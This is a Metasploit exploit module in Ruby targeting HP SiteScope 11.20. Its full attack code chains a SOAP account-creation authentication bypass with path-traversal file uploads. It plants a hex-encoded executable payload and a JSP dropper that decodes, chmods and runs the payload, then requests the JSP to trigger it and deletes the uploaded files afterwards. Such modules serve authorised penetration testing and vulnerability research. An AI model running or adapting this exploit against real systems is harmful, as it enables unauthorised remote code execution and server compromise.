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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name'=> 'HP SiteScope Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the create operation, available through the APIPreferenceImpl AXIS service, to create a new account with empty credentials and, subsequently, uses the new account to abuse the UploadManagerServlet and upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2 and Linux CentOS 6.3. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'OSVDB', '85121' ], [ 'OSVDB', '85151' ], [ 'BID', '55269' ], [ 'BID', '55273' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-174/' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-175/' ] ], 'Privileged'=> true, 'Platform'=> [ 'win', 'linux' ], 'Targets' => [ [ 'HP SiteScope 11.20 / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'HP SiteScope 11.20 / Linux CentOS 6.3', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 29 2012')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("../#{@var_hexfile}.txt") client.fs.file.rm("../#{@jsp_name}.jsp") else if target['Platform'] == 'linux' client.shell_command_token("rm ../#{@var_hexfile}.txt") client.shell_command_token("rm ../#{@jsp_name}.jsp") elsif target['Platform'] == 'win' client.shell_command_token("del ..\\#{@var_hexfile}.txt") client.shell_command_token("del ..\\#{@jsp_name}.jsp") end end end def exploit @peer = "#{rhost}:#{rport}" @uri = target_uri.path @uri << '/' if @uri[-1,1] != '/' # Create user with empty credentials print_status("#{@peer} - Creating user with empty credentials") if create_user.nil? print_error("#{@peer} - Failed to create user") return end # Generate an initial JSESSIONID print_status("#{@peer} - Retrieving an initial JSESSIONID") res = send_request_cgi( 'uri'=> "#{@uri}servlet/Main", 'method' => 'POST', ) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 else print_error("#{@peer} - Retrieve of initial JSESSIONID failed") return end # Authenticate login_data = "j_username=&j_password=" print_status("#{@peer} - Authenticating on HP SiteScope Configuration") res = send_request_cgi( { 'uri'=> "#{@uri}j_security_check", 'method' => 'POST', 'data' => login_data, 'ctype'=> "application/x-www-form-urlencoded", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 redirect =URI(res.headers['Location']).path else print_error("#{@peer} - Authentication on SiteScope failed") return end # Follow redirection to complete authentication process print_status("#{@peer} - Following redirection to finish authentication") res = send_request_cgi( { 'uri' => redirect, 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if not res or res.code != 200 print_error("#{@peer} - Authentication on SiteScope failed") return end # Upload the JSP and the raw payload @jsp_name = rand_text_alphanumeric(8+rand(8)) # begin <payload>.jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_data= Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream= Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes= Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_comb= Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8) @var_hexfile= Rex::Text.rand_text_alpha(rand(8)+8) var_proc= Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel= Rex::Text.rand_text_alpha(rand(8)+8) jspraw ="<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" jspraw << "String #{var_data} = \"\";\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" jspraw << "}\n" jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" jspraw << "#{var_inputstream}.close();\n" jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" jspraw << "{\n" jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" jspraw << "#{var_comb} <<= 4;\n" jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" jspraw << "}\n" jspraw << "#{var_outputstream}.write(#{var_bytes});\n" jspraw << "#{var_outputstream}.close();\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" jspraw << "String[] #{var_fperm} = new String[3];\n" jspraw << "#{var_fperm}[0] = \"chmod\";\n" jspraw << "#{var_fperm}[1] = \"+x\";\n" jspraw << "#{var_fperm}[2] = #{var_exepath};\n" jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" jspraw << "if (#{var_proc}.waitFor() == 0) {\n" jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" # Linux and other UNICES allow removing files while they are in use... jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" jspraw << "} else {\n" # Windows does not .. jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" jspraw << "%>\n" # Specify the payload in hex as an extra file.. payload_hex = payload.encoded_exe.unpack('H*')[0] post_data = Rex::MIME::Message.new post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") if target['Platform'] == "linux" traversal = "../../../../../../" elsif target['Platform'] == "win" traversal = "..\\..\\..\\..\\..\\..\\" end print_status("#{@peer} - Uploading the payload") res = send_request_cgi( { 'uri'=> "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - Payload successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the Payload") return end post_data = Rex::MIME::Message.new post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"") print_status("#{@peer} - Uploading the JSP") res = send_request_cgi( { 'uri'=> "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=#{traversal}#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true", 'method' => 'POST', 'data' => post_data.to_s, 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/ path = $1 print_good("#{@peer} - JSP successfully uploaded to #{path}") else print_error("#{@peer} - Error uploading the JSP") return end print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") send_request_cgi( { 'uri'=> "#{@uri}#{@jsp_name}.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session_id}", } }) end def create_user data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n" data << "<wsns0:Envelope" + "\r\n" data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n" data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n" data << ">" + "\r\n" data << "<wsns0:Body" + "\r\n" data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n" data << ">" + "\r\n" data << "<impl:create" + "\r\n" data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n" data << ">" + "\r\n" data << "<in0" + "\r\n" data << "xsi:type='xsd:string'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << ">UserInstancePreferences</in0>" + "\r\n" data << "<in1" + "\r\n" data << "xsi:type='apachesoap:Map'" + "\r\n" data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n" data << ">" + "\r\n" data << "<item" + "\r\n" data << "xsi:type='apachesoap:mapItem'" + "\r\n" data << ">" + "\r\n" data << "<key" + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" data << "></key>" + "\r\n" data << "<value" + "\r\n" data << "xsi:nil='true'" + "\r\n" data << "xsi:type='xsd:anyType'" + "\r\n" data << "></value>" + "\r\n" data << "</item>" + "\r\n" data << "</in1>" + "\r\n" data << "</impl:create>" + "\r\n" data << "</wsns0:Body>" + "\r\n" data << "</wsns0:Envelope>" + "\r\n" res = send_request_cgi({ 'uri'=> "#{@uri}services/APIPreferenceImpl", 'method' => 'POST', 'ctype'=> 'text/xml; charset=UTF-8', 'data' => data, 'headers'=> { 'SOAPAction'=> '""', }}) if res and res.code == 200 and res.body =~ /createResponse/ and res.body =~ /_id/ return res end return nil end end |
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